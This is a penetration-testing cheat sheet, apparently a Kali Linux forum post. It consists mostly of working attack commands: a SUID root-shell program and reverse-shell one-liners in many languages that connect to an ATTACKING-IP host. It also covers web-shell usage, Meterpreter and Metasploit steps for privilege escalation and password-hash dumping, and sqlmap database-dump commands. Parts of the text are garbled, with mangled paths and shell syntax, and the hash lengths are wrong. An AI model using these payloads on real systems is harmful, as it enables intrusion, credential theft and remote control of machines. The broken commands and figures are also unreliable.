SUID C Shell for /bin/bash

int main(void){ setresuid(0, 0, 0); system("/bin/bash"); }

SUID C Shell for /bin/sh

int main(void){ setresuid(0, 0, 0); system("/bin/sh"); }

Building the SUID Shell binary

gcc -o suid suid.c
gcc -m32 -o suid suid.c - for 32bit

Setup Listening Netcat

Your remote shell will need a listening netcat instance #in order to connect back.

Set your Netcat listening shell on an allowed port

Use a port that is likely allowed via outbound firewall #rules on the target network, e.g. 80 / 443

To setup a listening netcat instance, enter the #following:

[email protected]:~# nc -nvlp 80 nc: listening on :: 80 ... nc: listening on 80 ...

NAT requires a port forward

If you're attacking machine is behing a NAT router, #you'll need to setup a port forward to the attacking #machines IP / Port.

ATTACKING-IP is the machine running your listening #netcat session, port 80 is used in all examples below #(for reasons mentioned above).

Bash Reverse Shells

exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/ATTACKING-IP/80 cat <&5 | while read line; do $line 2>&5 >&5; done


while read line 0<&5; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1

PHP Reverse Shell

php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");' (Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)
Netcat Reverse Shell
nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

Telnet Reverse Shell

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443

Remember to listen on 443 on the attacking machine also.

Perl Reverse Shell

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl Windows Reverse Shell

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby Reverse Shell

ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java Reverse Shell

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()

Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Gawk Reverse Shell

!/usbin/gawk -f

BEGIN { Port = 8080 Prompt = "bkd> "
 Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) } 

Kali Web Shells

The following shells exist within Kali Linux, under /#usshare/webshells/ these are only useful if you are #able to upload, inject or transfer the shell to the #machine.

Kali PHP Web Shells

/usshare/webshells/php/php-reverse-shell.php - Pen Test Monkey - PHP Reverse Shell
/usshare/webshells/php/findsock.c - Pen Test Monkey, Findsock Shell. Build gcc -o findsock findsock.c (be mindfull of the target servers architecture), execute with netcat not a browser nc -v target 80
/usshare/webshells/php/simple-backdoor.php - PHP backdoor, usefull for CMD execution if upload / code injection is possible, usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
/usshare/webshells/php/php-backdoor.php - Larger PHP shell, with a text input box for command execution.

Tip: Executing Reverse Shells

The last two shells above are not reverse shells, #however they can be useful for executing a reverse #shell.

Kali Perl Reverse Shell

/usshare/webshells/perl/perl-reverse-shell.pl - Pen Test Monkey - Perl Reverse Shell
/usshare/webshells/perl/perlcmd.cgi - Pen Test Monkey, Perl Shell. Usage: http://target.com/perlcmd.cgi?cat /etc/passwd

Kali Cold Fusion Shell

/usshare/webshells/cfm/cfexec.cfm - Cold Fusion Shell - aka CFM Shell

Kali ASP Shell

/usshare/webshells/asp/ - Kali ASP Shells

Kali ASPX Shells

/usshare/webshells/aspx/ - Kali ASPX Shells

Kali JSP Reverse Shell

/usshare/webshells/jsp/jsp-reverse.jsp - Kali JSP Reverse Shell

TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell #in Linux, useful for running commands like su from #reverse shells.

Python TTY Shell Trick - python -c 'import pty;pty.spawn("/bin/bash")' - echo os.system('/bin/bash')
Spawn Interactive sh shell - /bin/sh -i
Spawn Perl TTY Shell - exec "/bin/sh"; perl —e 'exec "/bin/sh";'
Spawn Ruby TTY Shell - exec "/bin/sh"
Spawn Lua TTY Shell - os.execute('/bin/sh')

Spawn TTY Shell from Vi

Run shell commands from vi: - :!bash
Spawn TTY Shell NMAP - !sh

SSH Port Forwarding

ssh -L 9999: [email protected] - Port 9999 locally is forwarded to port 445 on through host

SSH Port Forwarding with Proxychains

ssh -D [email protected] - Dynamically allows all port forwards to the subnets availble on the target.

Meterpreter Payloads

Windows reverse meterpreter payload

set payload windows/meterpretereverse_tcp - Windows reverse tcp payload

Windows VNC Meterpreter payload

set payload windows/vncinject/reverse_tcp set ViewOnly false - Meterpreter Windows VNC Payload

Linux Reverse Meterpreter payload

set payload linux/meterpretereverse_tcp - Meterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

Useful meterpreter commands.

upload file - c:\windows
Meterpreter upload file to Windows target - download c:\windows\repair\sam /tmp
Meterpreter download file from Windows target - download c:\windows\repair\sam /tmp
Meterpreter download file from Windows target - execute -f c:\windows\temp\exploit.exe
Meterpreter run .exe on target - handy for executing uploaded exploits
execute -f cmd -c - Creates new channel with cmd shell
ps - Meterpreter show processes
shell - Meterpreter get shell on the target
getsystem - Meterpreter attempts priviledge escalation the target
hashdump - Meterpreter attempts to dump the hashes on the target
portfwd add –l 3389 –p 3389 –r target - Meterpreter create port forward to target machine
portfwd delete –l 3389 –p 3389 –r target - Meterpreter delete port forward

Common Metasploit Modules

Top metasploit modules.

Remote Windows Metasploit Modules (exploits)

use exploit/windows/smb/ms08_067_netapi - MS08_067 Windows 2k, XP, 2003 Remote Exploit
use exploit/windows/dcerpc/ms06_040_netapi - MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index - MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit

Local Windows Metasploit Modules (exploits)

use exploit/windows/local/bypassuac - Bypass UAC on Windows 7 + Set target + arch, x86/64

Auxilary Metasploit Modules

use auxiliary/scannehttp/dir_scanner - Metasploit HTTP directory scanner
use auxiliary/scannehttp/jboss_vulnscan - Metasploit JBOSS vulnerability scanner
use auxiliary/scannemssql/mssql_login - Metasploit MSSQL Credential Scanner
use auxiliary/scannemysql/mysql_version - Metasploit MSSQL Version Scanner
use auxiliary/scanneoracle/oracle_login - Metasploit Oracle Login Module

Metasploit Powershell Modules

use exploit/multi/script/web_delivery - Metasploit powershell payload delivery module
post/windows/manage/powershell/exec_powershell - Metasploit upload and run powershell script through a session
use exploit/multi/http/jboss_maindeployer - Metasploit JBOSS deploy
use exploit/windows/mssql/mssql_payload - Metasploit MSSQL payload

Post Exploit Windows Metasploit Modules

run post/windows/gathewin_privs - Metasploit show privileges of current user
use post/windows/gathecredentials/gpp - Metasploit grab GPP saved passwords
load mimikatz -> wdigest - Metasplit load Mimikatz
run post/windows/gathelocal_admin_search_enum - Idenitfy other machines that the supplied domain user has administrative access to

CISCO IOS Commands

A collection of useful Cisco IOS commands.

enable - Enters enable mode
conf t - Short for, configure terminal
(config)# interface fa0/0 - Configure FastEthernet 0/0
(config-if)# ip addr - Add ip to fa0/0
(config-if)# ip addr - Add ip to fa0/0
(config-if)# line vty 0 4 - Configure vty line
(config-line)# login - Cisco set telnet password
(config-line)# password YOUR-PASSWORD - Set telnet password

show running-config - Show running config loaded in memory

show startup-config - Show sartup config

show version - show cisco IOS version

show session - display open sessions

show ip interface - Show network interfaces

show interface e0 - Show detailed interface info

show ip route - Show routes

show access-lists - Show access lists

dir file systems - Show available files

dir all-filesystems - File information

dir /all - SHow deleted files

terminal length 0 - No limit on terminal output

copy running-config tftp - Copys running config to tftp server

copy running-config startup-config - Copy startup-config to running-config


Hash Lengths

MD5 Hash Length - 16 Bytes
SHA-1 Hash Length - 20 Bytes
SHA-256 Hash Length - 32 Bytes
SHA-512 Hash Length - 64 Bytes

SQLMap Examples

sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3 - Automated sqlmap scan
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/vawww/blah.php" - Targeted sqlmap scan
sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump - Scan url for union + error based injection with mysql backend and use a random user agent + database dump
sqlmap -o -u "http://meh.com/form/" --forms - sqlmap check form for injection
sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users --dump - sqlmap dump and crack hashes for table users on database-name
submitted by LubuntuFU to Kalilinux [link] [comments]

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